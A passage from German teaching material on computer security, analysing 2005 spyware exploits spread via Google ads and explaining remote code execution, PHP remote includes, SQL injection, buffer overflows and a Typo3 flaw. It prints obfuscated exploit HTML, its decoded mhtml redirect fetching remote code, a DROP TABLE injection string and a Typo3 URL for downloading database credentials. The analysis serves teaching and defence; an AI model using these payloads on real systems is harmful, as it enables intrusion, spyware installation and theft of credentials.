CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"+unescape("%u0D0D%u0D0D"); document.write("<IFRAME SRC=file://"+iframe_src+" NAME="+iframe_name+"></IFRAME>"); </SCRIPT> </HTML>
Auffallend ist, dass hier zwei Stringvariable mit einer sehr langen Zeichenkette gefüllt werden. Das zeigt an, dass hier ein Pufferüberlauf erzeugt werden soll, mit dem ein gezielter Absturz des Browsers erreicht wird. Dazu passend sind auch die Blöcke des Zeichens 90 oder vergleichbarer, die an mehreren Stellen erzeugt werden. Das ist der Code des Assember-Befehls nop (no operation) mit dessen Hilfe ein sog. Gleiter konstruiert wird. Solche Gleiter gleichen Ungenauigkeiten in den Sprungadressen der Schadprogramme aus.
In der Variablen Shellcode ist dann ein ausführbares Programm so abgelegt, dass es HTML-konform ist.
Heise schreibt zu dem Problem (http://www.heise.de/newsticker/meldung/54714 vom 2.1.05):
Vorsicht bei Google [Update]Auch 48 Stunden nach der Benachrichtigung durch heise Security hat Google die trojanischen Anzeigen nicht gestoppt, die versuchen, Sicherheitslücken des Internet Explorer auszunutzen. Zwar erscheint beim Klick auf die Anzeigen jetzt statt der blonden Anke[1] eine Fehlermeldung "Error404", doch auch in diese Seite ist ein Skript eingebettet, das altbekannte Sicherheitslücken des Internet Explorer ausnutzt. Die Autoren haben sich einige Mühe gegeben und den gefährlichen Script-Code gleich mehrfach verschleiert. Die Anzeigen erscheinen seit über zwei Tagen, wenn man auf google.de[2] nach "Preisvergleich" oder "Gebraucht PC" sucht. Gleich rechts oben präsentiert Google eine Anzeige, die angeblich zum Evita Onlineshopping beziehungsweise computerclassic.de führt. Doch auch Googles Suchergebnisse sind mit Vorsicht zu genießen. Wer sich zu dem Zeitpunkt auf die Suche nach der "Kreissparkasse Haar" begibt, sollte vor dem ersten Klick besser zweimal hinsehen. Gleich das erste Suchergebnis verweist auf kreissparkasse-haar.zq1412jy.info, eine Seite, die mit verschiedensten Tricks versucht, Spyware auf dem System der Besucher zu installieren. Unter anderem nutzt sie dabei auch das bekannte mhtml-Sicherheitsloch [3] des Internet Explorer. Wer mit einem ungepatchten Internet Explorer auf dieses Suchergebnis klickt -- oder gleich bei Google "Auf gut Glück" gesucht hat -- wird enteignet: Spyware übernimmt die Herrschaft über seinen PC. Wie das vor sich geht, illustriert die heise-Security-Serie Schädlingen auf der Spur[4]. Doch auch mit dem Service Pack 2 und allen aktuellen Updates ist man keineswegs auf der sicheren Seite. Ende letzten Jahres wurde ein neues Sicherheitsloch im Internet Explorer[5] bekannt, für das noch keine Patches existieren. Da sich darüber auch auf aktuellen Windows-Systemen Programme herunterladen und installieren lassen, dürfte es nur eine Frage der Zeit sein, bis die Spyware-Seiten dieses Loch ausnutzen. Um sich davor zu schützen, kann man entweder im Internet Explorer Active Scripting abschalten[6] oder einen anderen Browser wie den frei erhältlichen Firefox[7] einsetzen. Update:Die Sparkasse ist beileibe nicht das einzige Ziel dieser Google-Spammer. Die Suche nach der Domain[8] ergibt fast 25.000 Treffer, die Begriffe von "Autobahn staumelder" über "Hypovereinsbank" bis hin zu "Zelt kaufen" belegen. Außerdem gibt es diverse weitere .info-Domains wie ce20nr.info, or68ig.info, xw142eh.info, xr023qm.info, np07li.info, zp715tg.info, ht221xg.info, bd522ky.info und pe522us.info hinter denen sich ebenfalls solche Spyware-Seiten verbergen. Insgesamt dürften die Spammer weit über 100.000 solcher Seiten aufgesetzt und bei Google eingeschleust haben. (ju[9]/c't) (ju/c't)
|
Das von Heise erwähnte Script für die Fehlerseite hat folgenden Inhalt
<HTML> <head> <script language="JScript"> if (navigator.javaEnabled()) { document.write("<APPLET ID=\"applt\" ARCHIVE=\"Counters.jar\" CODE=\"Counter.class\" WIDTH=1 HEIGHT=1>\n"); document.write("</APPLET>"); } </script> </head> <title>Error404</title> <body> <h1>Error404</h1> <script> es="100;111;99;117;109;101;110;116;46;119;114;105;116;101;40;117;110;101;115;99;97;112;101;40;39;37;117;48;48;51;67;37;117;48;48;54;70;37;117;48;48;54;50;37;117;48;48;54;65;37;117;48;48;54;53;37;117;48;48;54;51;37;117;48;48;55;52;37;117;48;48;50;48;37;117;48;48;54;52;37;117;48;48;54;49;37;117;48;48;55;52;37;117;48;48;54;49;37;117;48;48;51;68;37;117;48;48;50;50;37;117;48;48;54;68;37;117;48;48;55;51;37;117;48;48;50;68;37;117;48;48;54;57;37;117;48;48;55;52;37;117;48;48;55;51;37;117;48;48;51;65;37;117;48;48;54;68;37;117;48;48;54;56;37;117;48;48;55;52;37;117;48;48;54;68;37;117;48;48;54;67;37;117;48;48;51;65;37;117;48;48;54;54;37;117;48;48;54;57;37;117;48;48;54;67;37;117;48;48;54;53;37;117;48;48;51;65;37;117;48;48;50;70;37;117;48;48;50;70;37;117;48;48;52;51;37;117;48;48;51;65;37;117;48;48;53;67;37;117;48;48;53;67;37;117;48;48;52;68;37;117;48;48;52;49;37;117;48;48;52;57;37;117;48;48;52;69;37;117;48;48;50;69;37;117;48;48;52;68;37;117;48;48;52;56;37;117;48;48;53;52;37;117;48;48;50;49;37;117;48;48;54;56;37;117;48;48;55;52;37;117;48;48;55;52;37;117;48;48;55;48;37;117;48;48;51;65;37;117;48;48;50;70;37;117;48;48;50;70;37;117;48;48;55;55;37;117;48;48;55;55;37;117;48;48;55;55;37;117;48;48;50;69;37;117;48;48;54;57;37;117;48;48;55;50;37;117;48;48;54;55;37;117;48;48;51;50;37;117;48;48;51;52;37;117;48;48;50;69;37;117;48;48;54;51;37;117;48;48;54;70;37;117;48;48;54;68;37;117;48;48;50;70;37;117;48;48;50;70;37;117;48;48;55;52;37;117;48;48;55;51;37;117;48;48;55;52;37;117;48;48;50;69;37;117;48;48;54;51;37;117;48;48;54;56;37;117;48;48;54;68;37;117;48;48;51;65;37;117;48;48;51;65;37;117;48;48;50;70;37;117;48;48;55;52;37;117;48;48;55;51;37;117;48;48;55;52;37;117;48;48;50;69;37;117;48;48;54;56;37;117;48;48;55;52;37;117;48;48;54;68;37;117;48;48;50;50;37;117;48;48;50;48;37;117;48;48;55;52;37;117;48;48;55;57;37;117;48;48;55;48;37;117;48;48;54;53;37;117;48;48;51;68;37;117;48;48;50;50;37;117;48;48;55;52;37;117;48;48;54;53;37;117;48;48;55;56;37;117;48;48;55;52;37;117;48;48;50;70;37;117;48;48;55;56;37;117;48;48;50;68;37;117;48;48;55;51;37;117;48;48;54;51;37;117;48;48;55;50;37;117;48;48;54;57;37;117;48;48;55;48;37;117;48;48;55;52;37;117;48;48;54;67;37;117;48;48;54;53;37;117;48;48;55;52;37;117;48;48;50;50;37;117;48;48;51;69;37;117;48;48;51;67;37;117;48;48;50;70;37;117;48;48;54;70;37;117;48;48;54;50;37;117;48;48;54;65;37;117;48;48;54;53;37;117;48;48;54;51;37;117;48;48;55;52;37;117;48;48;51;69;39;41;41;59;100;111;99;117;109;101;110;116;46;99;108;111;115;101;40;41;59;"; var ds=new String(); ads=es.split(";"); k=ads.length-1; for(var j=0;j<k;j++) {e=ads[j];d=e;ds=ds+String.fromCharCode(d);}eval(ds) </script> </body> </HTML>
Was hier passiert ist relativ leicht zu erklären, es ist JavaScript-Code verschleiert dargestellt. Wenn man die Ziffern jeweils durch die zugehörigen ASCII-Zeichen ersetzt, dann ergibt sich ein kleines Programm.
document.write(unescape('%u003C%u006F%u0062%u006A%u0065%u0063%u0074%u0020%u0064%u0061%u0074%u0061%u003D%u0022%u006D%u0073%u002D%u0069%u0074%u0073%u003A%u006D%u0068%u0074%u006D%u006C%u003A%u0066%u0069%u006C%u0065%u003A%u002F%u002F%u0043%u003A%u005C%u005C%u004D%u0041%u0049%u004E%u002E%u004D%u0048%u0054%u0021%u0068%u0074%u0074%u0070%u003A%u002F%u002F%u0077%u0077%u0077%u002E%u0069%u0072%u0067%u0032%u0034%u002E%u0063%u006F%u006D%u002F%u002F%u0074%u0073%u0074%u002E%u0063%u0068%u006D%u003A%u003A%u002F%u0074%u0073%u0074%u002E%u0068%u0074%u006D%u0022%u0020%u0074%u0079%u0070%u0065%u003D%u0022%u0074%u0065%u0078%u0074%u002F%u0078%u002D%u0073%u0063%u0072%u0069%u0070%u0074%u006C%u0065%u0074%u0022%u003E%u003C%u002F%u006F%u0062%u006A%u0065%u0063%u0074%u003E'));document.close();
Wenn man auch dies wieder dekodiert, ergibt sich folgendes Listing
<object data = "ms-its:mhtml:file://C:\\MAIN.MKT!http://www.irg24.com//tst.chm::/tst.htm " type = "text/x-scriptlet "></object>
Zu diesen zwei Zeilen Code findet sich bei Heise in der Rubrik c't Browsercheck:
Installieren und Ausführen von Dateien via mhtml-Redirect Auf der Sicherheits-Mailingliste Bugtraq hat Thor Larholm von einer Schwachstelle berichtet, mit der aus dem Internet nachgeladene Hilfe-Dateien mit den Rechten des lokalen Systems ausgeführt werden können. Mittlerweile sind Details dazu bekannt geworden. Es genügt, eine passende URL mit einem Redirect zu versehen: ms-its:mhtml:file://C:\foo.mht!http://evil.site/exploit.chm::exploit.htm Wenn die Datei "C:\foo.mht" nicht existiert, wird die böse Hilfedatei aus dem Internet nachgeladen und mit den Rechten einer lokalen Datei ausgeführt.
Ein eigentlich recht einfacher Trick, der in dem Wust von Zahlen verborgen war.
In dem beschriebenen Beispiel findet man mehrere Ansätze, um auf einem fremden Rechner eigene Programme ausführen zu können.
8.1. Warum erfolgen Angriffe auf private PC?
Die Analyse aller Motive ist vermutlich nicht möglich. Bei den aufgedeckten Fällen der letzten Zeit lassen sich aber einige Motive identifizieren. Ein erster Anlass sich mit Schadprogrammen zu beschäftigen ist oft einfach das Interesse daran und ein Zuviel an frei verfügbarer Zeit. Dazu kommt dann auch das Ziel den Freunden oder irgendeiner Clique zu zeigen, was man kann.
Auf einer späteren Ebene kann dann so etwas wie Rache an der bösen Gesellschaft allgemein oder an einer Schule oder einem Arbeitgeber auftreten. Immer dann, wenn sich jemand mit entsprechenden Kenntnissen ungerecht behandelt fühlt, dann kann es passieren, dass er Schadprogramme in Umlauf bringt.
Ziel ist es oft auf möglichst vielen fremden Rechnern ein Programm unterzubringen, welches auf Befehl seines Programmierers diesen Rechnern fernsteuern kann. Da heute viele Rechner über DSL angebunden sind, steht die entsprechende Bandbreite dann auch dem Angreifer zur Verfügung.
Wenn man genügend solche Rechner (bots) zur Verfügung hat, dann kann man damit gezielt die Schule, die Firma oder eine Institution der Gesellschaft über das Netz angreifen. Zumeist sind dies dann sogenannte „Distributed Denial of Service“ (DDOS) Angriffe. Also verteilte Angriffe, mit dem Ziel einen bestimmten Service außer Betrieb zu setzen. Wenn man mit 10.000 bots ständig Seiten von einem Webserver abruft, dann ist dieser Webserver schnell überlastet und damit außer Betrieb für seinen regulären Dienst. Für einen DDOS-Angiff langen schon einfache Pings oder einfach TCP/IP Verbindungsanforderungen aus. Je niedriger im Protokollstapel ein Angriff ansetzt, desto schwerer ist er zu stoppen.
In der letzten Zeit ist eine Professionalisierung der Angreifer zu beobachten. Sie vermieten „ihre“ Bots an interessierte Kreise. Die Interessenten legen damit z.B. die Dienste der Konkurrenz lahm oder verteilen Spam-Mails über die gemieteten Bots (Heise-Newsticker Meldung 44869 und 54444).
8.2. Ausführen von eingeschleustem Code
Sehr einfach wird ein Angriff immer dann, wenn man den Rechner dazu veranlassen kann, ein beliebiges Programm auszuführen, möglichst von einem Benutzeraccount aus, der viele Rechte besitzt. WindXP Home ist deshalb bei den Programmierern von Schadprogrammen so beliebt, weil die meisten Benutzer hier ständig mit administrativen Rechten arbeiten und in der Regel für den Administratoren-Account kein Passwort gesetzt ist.
Schon ein erfolgreicher Angriff auch z.B. den Webbrowser öffnet dann den Rechner vollständig für fremde Nutzung.
Die meisten Browser erlauben es eingebettete Programme (Javascript, Java, ActiveX, ...) auszuführen. Sofern die Programmiersprache es erlaubt, kann man damit dann auch Programme auf dem Rechner starten.
Recht nützlich es im Prinzip, wenn im Browser ein Klick auf ein Office-Dokument das entsprechende Anwendungsprogramm startet. Wenn der Angreifer dieses Anwendungsprogramm aber vorher durch ein eigenes Programm überschreiben konnte, dann wird eben sein Programm gestartet.
Der oben beschriebene mhtml-Angriff beruht darauf, dass der zugehörige Browser einen Sicherheitsmechanismus nur unvollständig umsetzt. Der Browser unterscheidet zwischen lokalen und entfernten Dateien für das Hilfesystem. Nur lokale Hilfedateien startet er mit den notwendigen Rechten. Gibt man ihm aber eine (nicht vorhandene) lokale Datei und ersatzweise eine entfernte Datei an, so führt er die entfernte Datei so aus, als ob sie eine lokale Datei wäre. Damit kann der Angreifer nahezu beliebige Befehle ausführen.
Ähnliche Schwachstellen existieren auch für viele Server-Dienste. Die Programmiersprache php kennt z.B. den include-Befehl, über den Programmteile aus einer anderen Datei in das Programm eingebunden werden. Bei entsprechender Konfiguration lässt PHP dabei auch Programme von fremden Rechnern als include zu. Wenn die Programmierer einer PHP-Anwendung nicht aufpassen, dass nur bestimmte Dateien angegeben werden können, dann hat ein Angreifer damit die Möglichkeit, eigenen Code einzubinden.
Hier eine Warnung von Heise zu diesem Thema (Heise-Newsticker Meldung 51838):
if (!isset($realm)) { include "home.template"; } else { include $realm ; } Anstelle des Pfades zu einer lokalen Datei ist es so möglich, eine URL zu einer Datei auf einem Webserver anzugeben. Der include-Befehl lädt das Skript von dort aus nach und bindet ihn ein. Liegt der Exploit-Code bereit und ist ein verwundbares Skript gefunden, kann ein Angreifer über einen einzigen HTTP-Get-Request die Attacke starten. Das DFN-CERT rät, derart konfigurierte Systeme nach Einbruchsspuren zu untersuchen. Sollte in den Logdateien des eigenen Webservers Einträge wie [28/Sep/2004:18:03:07 +0200] "GET /pfad/zu/einem/script.php?variablenname=http://192.168.1.2:4213/ HTTP/1.0" 200 15183 "-" "Wget/1.8.1" |
Zum Teil suchen die Angreifer die Adressen passender Scripten vorher über Google und greifen dann scriptgesteuert an.
Gezielt kann ein Angreifer auch vorgehen, wenn für ein auf php basierendes Softwarepaket eine entsprechende Schwäche bekannt ist. Im Dezember 2004 hat sich auf diese Art sogar ein Wurm verbreitet, der einen Fehler in der Forensoftware phpbb ausnutzt (Heise Newsticker Meldung 54550).
Wenn Programme Benutzereingaben erwarten, dann ist es extrem wichtig diese Eingaben sorgfältig zu filtern und nur die Zeichen zuzulassen, die unbedingt notwendig sind.
Ein kleines Beispiel dafür, was man mit Datenbanken machen kann. Gegeben sei der Codeabschnitt:
SELECT fieldlist FROM table WHERE field = '$EMAIL';
Die Variable $EMAIL wird im Programm über eine Benutzereingabe gefüllt. Wenn der Benutzer hier
info@schule.de
eingibt ist alle in Ordnung. Kann er aber
info@schule.de'
eingeben, so steht im die Datenbank offen, er kann dann nämlich weitere SQL-Befehle anhängen.
Die Eingabe
x'; DROP TABLE members; --
kann dann zu wirklichem Schaden an der Datenbank führen. Das Anführungszeichen und auch das Semikolon dürfen also auf keinen Fall von der Eingabe an die Datenbank weitergehen.
8.3. Buffer overflows
Auf der Seite http://www.vankoll.de/sec/bo1.html heißt es ganz lapidar „buffer overflows sind mittlerweile sicher Hacker/Crackertechnik Nr. 1. Die Problematik selber ist eigentlich schon 10-15 Jahre bekannt, ohne dass es bis heute konkreten (bzw. problemlosen) Schutz dagegen gibt.“
Grundlage dieses Problems ist die Behandlung von Strings in der Programmiersprache C. Diese überprüft nicht, ob ein String in den dafür reservierten Speicherbereich passt. Auf der Seite findet sich folgende Beschreibung:
Betrachten wir mal folgendes Programm: void sillycode(char *string) { char buff[100]; strcpy(buff,string); } Dieses Programm kopiert also das übergebene Argument in buff. Ist dieses Argument länger als 100 Byte (chars, genaugenommen), findet ein bufferoverflow statt, weil das Programm über den für buff reservierten Speicherbereich hinausschreibt. Die Frage ist, was sich hinter buff, sozusagen ab buff[100] befindet. Unter anderem ist hier die Rücksprungadresse für die aufrufene Funktion gespeichert.Wir können also durch geschicktes Konstruieren des zu übergebenen char *string die Rücksprungadresse beliebig verändern und damit jeglichen Programmcode (im Adressraum des Tasks) ausführen. "execute arbitrary code", wie es meist heisst. Würde das Programm mit root (unix) bzw. System (NT) - Rechten laufen und wir würden die Rücksprungadresse auf den Aufruf eines command prompt (shell) legen, hätten wir eine rootshell, d.h. komplette Kontrolle über den ganzen Rechner. |
Heise schreibt zur Erklärung (http://www.heise.de/security/artikel/37958):
Bei modernen Betriebssystemen arbeitet jedes Programm in einem eigenen, virtuellen Adressraum, dessen Adressen die Hardware -- konkret die Memory Management Unit (MMU) -- erst bei Bedarf physikalischen Speicher zuordnet. Im virtuellen Speicher legt das Betriebssystem beim Start eines Programms drei Segmente an: das Code-Segment, das Daten-Segment (auch Heap genannt) und das Stack-Segment. Das Stack-Segment ist ein Zwischenspeicher für lokale Variable und gesicherte Prozessorregister, die das Programm zu einem späteren Zeitpunkt wieder benötigt. Der Stack beginnt am oberen Ende des Adressraums und wächst nach unten. Er funktioniert als Last-in-first-out-Puffer, den man erst abräumen muss, bevor man an früher abgelegte Daten kommt. Der Stack Pointer (ESP) markiert das Ende des Stacks und zeigt damit immer auf den letzten Eintrag.
C-Programme legen die Übergabeparameter einer Funktion, die Rücksprungadresse und lokale Variable auf dem Stack ab. Auf die lokalen Variablen greift die Funktion über einen Offset zum so genannten Base Pointer (EBP) zu, der auf ihren Datenbereich zeigt. Die beiden Basisoperationen für den Stack sind push und pop: push schreibt ein Register in den Stack und erniedrigt den ESP, pop liest es vom Stack und erhöht den ESP. Der Befehl RET in einer Unterfunktion lädt den Instruction Pointer (EIP) mit der Rücksprungadresse und springt damit zurück in das Hauptprogramm. |
Das ist eigentlich schon der ganze Trick. Da inzwischen fast alle Betriebssysteme und viele Anwendungsprogramme in C geschrieben werden, betrifft dieses Problem einen großen Teil der Software.
Ein Angreifer muss also nur nach Stellen suchen, an denen ein Programm die Länge der Eingaben nicht überprüft und auch überlange Eingaben annimmt. Sowie eine entsprechende Stelle gefunden ist, kann man daran gehen, eine passende Eingabe zu erzeugen.
8.4. Manchmal kommt es einfach dumm
Im Jahr 2009 fand sich ein dummer Fehler in allen Typo3-Versionen (siehe http://www.heise.de/security/news/meldung/132475). Der Fehler ist so einfach auszunutzen, dass dringend alle Seiten aktualisiert werden mussten. Der Mechanismus ist so blöd wie einfach.
Man übergibt einem Typo3-System eine URL der Art:
http://meine-typo3domain.de/?jumpurl=typo3conf/localconf.php&juSecure=1&type=0&locationData=3%3A&juHash=4711
Im Prinzip fordert man hier die Datei localconf.php zum Download an. Typo3 beschwert sich mit
jumpurl Secure: Calculated juHash, d29a901ee3, did not match the submitted juHash.
gibt dabei den Hash an, den es erwartet.
Dann erweitert man die URL eben entsprechend um den angegebenen Hash:
http://meine-typo3domain.de/?jumpurl=typo3conf/localconf.php&juSecure=1&type=0&locationData=3%3A&juHash=d29a901ee3
Schon startet der Download der Konfigurationsdatei localconf.php. In der Datei findet man dann die Zugangsdaten für die Datenbank und den Hash vom Passwort für das Install-Tool.
Damit kann man dann schon etwas anfangen, den Hash kann man an einige Hacker-Seiten übergeben, die solche Hashes sammeln und ggf. das Passwort liefern können:
- http://hashcrack.com/index.php
- http://gdataonline.com/seekhash.php
- http://www.milw0rm.com/cracker/info.php
Bekannt wurde dieser Fehler, da die Seiten von Bundesminister Schäuble und dem Fußballverein Schalke04 unter Ausnutzung des Problems manipuliert wurden.
Auch jetzt, einige Jahre nach der Beseitigung des Fehlers findet man immer noch Typo3-Seiten mit der alten fehlerhaften Version.